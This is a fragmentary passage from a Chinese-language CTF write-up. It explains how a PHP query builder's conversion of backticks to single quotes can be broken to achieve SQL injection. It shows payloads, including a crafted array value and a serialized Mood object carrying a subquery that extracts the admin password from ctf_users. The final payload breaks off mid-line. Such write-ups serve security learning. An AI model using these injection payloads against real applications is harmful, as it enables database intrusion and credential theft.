')';
核心操作是如果一对反引号中间的内容不存在逗号和反引号,就把反引号变为单引号,所以$value就变为了
('$value[0]','$value[1]','$value[1]')
但是如果$value...元素本身带有反引号,就会破坏掉拼接的结构,在做反引号变为单引号的时候造成问题,比如说:
考虑$value为 : array("admin`,`1`)#","password")
经过处理后,就变为了 :...userid,$this->username,$_POST['signature'],$mood));
0x2 通过注入拿到管理员密码
开始是这样想的
写注入payload的部分是在 $mood中,这是一个序列化后的...Mood((int)"1","114.114.114.114");
$mode->data = "0"; // 把data设置为0,可以直观的从页面的publish time中看到注入的数据是否被成功反序列化...":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8